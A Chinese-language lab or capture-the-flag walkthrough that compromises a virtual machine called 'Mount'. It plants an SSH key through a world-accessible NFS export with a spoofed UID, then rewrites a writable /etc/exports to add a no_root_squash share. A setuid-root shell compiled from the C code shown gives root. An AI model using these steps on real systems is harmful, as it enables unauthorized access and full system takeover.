

一、信息收集

1.1 网络扫描

首先进行局域网主机发现：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ sudo arp-scan -l
...
192.168.205.173 08:00:27:e8:75:5e      PCS Systemtechnik GmbH
...
```

对目标主机进行端口扫描：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ nmap -p0-65535 192.168.205.173
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-09 03:51 GMT
Nmap scan report for 192.168.205.173
Host is up (0.00018s latency).

Not shown: 65527 closed tcp ports (reset)

PORT      STATE SERVICE
22/tcp    open  ssh
79/tcp    open  finger
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
39971/tcp open  unknown
40771/tcp open  unknown
43133/tcp open  unknown
49319/tcp open  unknown

MAC Address: 08:00:27:E8:75:5E (PCS Systemtechnik/oracle virtualBox virtual NIC)
```

发现开放的关键服务：

- **SSH (22/tcp)**: 远程管理服务
- **HTTP (80/tcp)**: Web服务
- **RPC (111/tcp)**: 远程过程调用
- **NFS (2049/tcp)**: 网络文件系统

1.2 Web服务枚举

访问Web服务：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ curl http://192.168.205.173/
index
```

使用dirsearch进行目录扫描：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ dirsearch -q -u http://192.168.205.173/
...
[03:52:07] 403 - 280B - http://192.168.205.173/.htaccess.bak1
[03:52:07] 403 - 280B - http://192.168.205.173/.htaccess.sample
...
```

Web服务返回403错误，无有效信息可利用。

二、NFS服务利用

2.1 NFS共享发现

使用showmount命令查看NFS共享：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ showmount -e 192.168.205.173
Export list for 192.168.205.173:
/home/11104567 *
```

发现共享目录 /home/11104567，权限为所有主机可访问。

2.2 挂载NFS共享

创建挂载点并挂载NFS共享：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ sudo mkdir -p /mnt/11104567

—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ sudo mount -t nfs 192.168.205.173:/home/11104567 /mnt/11104567
```

检查挂载的目录权限：

```
—(kali㉿kali)-[~/mnt]
└ $ ls -al
drwx----- 2 6666 6666 4096 8月21日 03:45 11104567
```

发现用户ID为6666，需要创建对应用户来访问。

2.3 权限匹配与SSH密钥植入

创建匹配UID的用户：

```
—(kali㉿kali)-[~/mnt]
└ $ sudo useradd -u 6666 nfsuser

—(kali㉿kali)-[~/mnt]
└ $ sudo su - nfsuser
$ bash
nfsuser@kali:~/mnt$ cd /mnt/11104567/
```

查看目录内容并植入SSH公钥:

```
nfsuser@kali:/mnt/11104567$ ls -la
总计 20
drwx----- 2 nfsuser nfsuser 4096 8月21日 03:45 .
...
-rw-r--r-- 1 nfsuser nfsuser 220 2019年 4月18日 .bash_logout
-rw-r--r-- 1 nfsuser nfsuser 3526 2019年 4月18日 .bashrc
-rw-r--r-- 1 nfsuser nfsuser 807 2019年 4月18日 .profile

nfsuser@kali:/mnt/11104567$ mkdir -p .ssh
nfsuser@kali:/mnt/11104567$ chmod 700 .ssh
nfsuser@kali:/mnt/11104567$ cp /mnt/hgfs/gx/x/authorized_keys .ssh/
```

三、获取初始访问权限

使用植入的SSH密钥登录系统:

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└$ ssh 11104567@192.168.205.173
Linux Mount 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
...
Last login: wed Aug 20 23:46:24 2025 from 192.168.3.94

11104567@Mount:~$ id
uid=6666(11104567) gid=6666(11104567) groups=6666(11104567)
```

成功获得11104567用户的Shell访问权限。

四、权限提升

4.1 系统枚举

检查sudo权限:

```
11104567@Mount:~$ sudo -l
Matching Defaults entries for 11104567 on Mount:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User 11104567 may run the following commands on Mount:
(ALL) NOPASSWD: /sbin/reboot
```

用户只能执行reboot命令，无法直接提权。

检查SUID文件:

```
11104567@Mount:~$ find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
-rwsr-xr-x 1 root root 114784 Jul 16 2024 /usr/sbin/mount.nfs
...
-rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo
...
```

未发现可利用的异常SUID程序。

4.2 NFS配置文件分析

检查NFS导出配置：

```
11104567@Mount:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
...
/home/11104567 *(rw,sync,root_squash,no_subtree_check)
```

发现当前配置启用了`root_squash`选项，这限制了root权限。关键在于该文件具有写权限：

```
11104567@Mount:~$ ls -la /etc/exports
-rw-rw---- 1 root 11104567 444 Aug 21 03:45 /etc/exports
```

4.3 NFS配置劫持

修改NFS配置文件，添加不受root限制的/tmp共享：

```
11104567@Mount:/tmp$ echo "/tmp *(rw, sync, no_root_squash, no_subtree_check)" >>
/etc/exports
11104567@Mount:/tmp$ cat /etc/exports
...
/home/11104567 *(rw, sync, root_squash, no_subtree_check)
/tmp *(rw, sync, no_root_squash, no_subtree_check)
```

重启系统使配置生效：

```
11104567@Mount:/tmp$ sudo /sbin/reboot
```

4.4 利用no_root_squash提权

系统重启后，验证新的NFS共享：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ showmount -e 192.168.205.173
Export list for 192.168.205.173:
/tmp
*
/home/11104567 *
```

挂载新的/tmp共享：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ sudo mkdir -p /mnt/tmp_mount
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ sudo mount -t nfs 192.168.205.173:/tmp /mnt/tmp_mount
```

在目标系统上创建提权程序：

```
11104567@Mount:/tmp$ cat > /tmp/root_shell.c << 'EOF'  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/types.h>  
#include <unistd.h>  
int main(void){  
    setuid(0);  
    setgid(0);  
    system("/bin/bash -p");  
    return 0;  
}  
EOF  
  
11104567@Mount:/tmp$ gcc /tmp/root_shell.c -o /tmp/root_shell
```

在Kali上设置root权限和SUID位：

```
└──(kali㉿kali)-[/mnt/tmp_mount]  
└$ sudo chown root:root /mnt/tmp_mount/root_shell  
  
└──(kali㉿kali)-[/mnt/tmp_mount]  
└$ sudo chmod 4755 /mnt/tmp_mount/root_shell
```

五、获取Root权限

执行提权程序获得root shell：

```
11104567@Mount:/tmp$ ls -al root_shell  
-rwsr-xr-x  1 root      root     16720 Sep  9 00:12 root_shell  
  
11104567@Mount:/tmp$ ./root_shell  
root@Mount:/tmp# id  
uid=0(root) gid=0(root) groups=0(root),6666(11104567)
```

获取flag：

```
root@Mount:/tmp# cat /root/root.txt /home/guest/user.txt  
flag{root-a8a78d0ff555c931f045b6f448129846}  
flag{user-60b725f10c9c85c70d97880dfe8191b3}
```

六、收尾工作

在Kali端卸载NFS挂载：

```
└──(kali㉿kali)-[/mnt/hgfs/gx/x]  
└$ sudo umount -f /mnt/11104567  
└──(kali㉿kali)-[/mnt/hgfs/gx/x]  
└$ sudo umount -f /mnt/tmp_mount  
└──(kali㉿kali)-[/mnt/hgfs/gx/x]  
└$ sudo rm -rf /mnt/11104567 /mnt/tmp_mount
```

删除临时创建的用户：

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└─$ sudo userdel nfsuser
```